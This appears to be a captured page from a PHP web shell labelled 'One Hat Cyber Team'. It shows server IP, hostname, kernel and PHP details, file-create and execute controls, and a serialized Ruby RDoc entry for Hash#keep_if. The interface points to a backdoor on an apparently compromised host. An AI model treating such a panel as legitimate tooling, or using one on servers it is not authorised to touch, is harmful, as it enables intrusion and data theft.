⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.25
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Hash
/
View File Name :
keep_if-i.ri
U:RDoc::AnyMethod[iI"keep_if:ETI"Hash#keep_if;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I".Calls the block for each key-value pair; ;TI"<retains the entry if the block returns a truthy value; ;TI"1otherwise deletes the entry; returns +self+.;To:RDoc::Markup::Verbatim; [I""h = {foo: 0, bar: 1, baz: 2} ;TI"Mh.keep_if { |key, value| key.start_with?('b') } # => {:bar=>1, :baz=>2} ;T:@format0o; ; [I"1Returns a new \Enumerator if no block given:;To;; [I""h = {foo: 0, bar: 1, baz: 2} ;TI"Ke = h.keep_if # => #<Enumerator: {:foo=>0, :bar=>1, :baz=>2}:keep_if> ;TI"Ie.each { |key, value| key.start_with?('b') } # => {:bar=>1, :baz=>2};T;0: @fileI"hash.c;T:0@omit_headings_from_table_of_contents_below0I"Mhash.keep_if {|key, value| ... } -> self hash.keep_if -> new_enumerator ;T0[ I"();T@FI" Hash;TcRDoc::NormalClass00